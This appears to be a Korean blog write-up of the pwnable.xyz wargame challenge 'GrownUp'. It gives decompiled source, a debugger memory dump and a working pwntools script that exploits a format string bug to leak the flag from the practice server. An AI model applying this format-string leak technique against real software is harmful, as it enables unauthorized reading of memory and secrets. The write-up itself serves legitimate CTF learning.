[pwnable.xyz] GrownUp

_daeseong_ ㅣ 2025. 2. 4. 05:02

소스코드

unsigned int setup()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  signal(14, handler);
  qword_601160 = &byte_601168;
  byte_601168 = '%';
  byte_601169 = 's';
  byte_60116A = '\n';
  return alarm(0x3Cu);
}
void __noreturn handler()
{
  exit(1);
}
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *src; // [rsp+8h] [rbp-28h]
  __int64 buf[4]; // [rsp+10h] [rbp-20h] BYREF

  buf[3] = __readfsqword(0x28u);
  (setup)(argc, argv, envp);
  buf[0] = 0LL;
  buf[1] = 0LL;
  printf("Are you 18 years or older? [y/N]: ");
  *(buf + (read(0, buf, 16uLL) - 1)) = 0;
  if ( LOBYTE(buf[0]) != 121 && LOBYTE(buf[0]) != 89 )
    return 0;
  src = malloc(0x84uLL);
  printf("Name: ");
  read(0, src, 0x80uLL);
  strcpy(usr, src);
  printf("Welcome ");
  printf(qword_601160, usr);
  return 0;
}

분석

메인함수에는 16바이트를 읽고 가장 하위바이트가 y/N 인지 검사하고 y면 아래 로직을 실행시킨다.

유저로부터 src에 0x80바이트를 입력받고 usr에 복사한다.

그리고 qword_601160 을 포맷스트링으로 printf 함수를 호출한다.

누가 봐도 포맷스트링버그가 터질 거같이 생겼다 그래서 0x80 바이트를 꽉 채워서 보내보면

pwndbg> x/20gx 0x6010e0
0x6010e0 <usr>: 0x4141414141414141      0x4141414141414141
0x6010f0 <usr+16>:      0x4141414141414141      0x4141414141414141
0x601100 <usr+32>:      0x4141414141414141      0x4141414141414141
0x601110 <usr+48>:      0x4141414141414141      0x4141414141414141
0x601120 <usr+64>:      0x4141414141414141      0x4141414141414141
0x601130 <usr+80>:      0x4141414141414141      0x4141414141414141
0x601140 <usr+96>:      0x4141414141414141      0x4141414141414141
0x601150 <usr+112>:     0x4141414141414141      0x4141414141414141
0x601160 <usr+128>:     0x0000000000601100      0x00000000000a7325
0x601170:       0x0000000000000000      0x0000000000000000
pwndbg>

strcpy에 의해서 널바이트까지 복사되어 원래 포맷스트링이 가리켜야 하는 0x601168이 아닌 0x601100을 가리키고 있는 것을 확인할 수 있다.

그래서 usr+32 바이트부터 포맷스트링으로 인식해서 FSB가 발생한다.

 

1번 메뉴로 스택에 원하는 값을 남길 수 있고 그걸로 alarm 핸들러 함수가 호출하는 exit got를 원가젯으로 덮어 쉘을 따려고 했으나 로컬 스택과 리모트 스택에 상황이 너무 달라서 포기했다.

그냥 분석 도중 바이너리에 그냥 플래그가 박혀있는 거 보고 스택에 주소를 남긴 뒤 %s로 릭했다.

 

exp.py

from pwn import * 
#p = process('./GrownUpRedist')
p = remote("svc.pwnable.xyz",30004)
e = ELF('./GrownUpRedist')

payload = b"y"+b"\x00"*7+p64(e.symbols['flag'])
p.sendafter(b'[y/N]: ', payload)
payload = b"A"*32
payload += b"%9$s"
payload = payload.rjust(0x80,b"A")
p.sendlineafter(b'Name: ',payload)
p.interactive()

'Wargame' 카테고리의 다른 글

[pwnable.xyz] xor  (0) 2025.02.04
[pwnable.xyz] note  (0) 2025.02.04
[pwnable.xyz] misalignment  (0) 2025.02.04
[pwnable.xyz] add  (0) 2025.02.04
[pwnable.xyz] sub  (0) 2025.02.04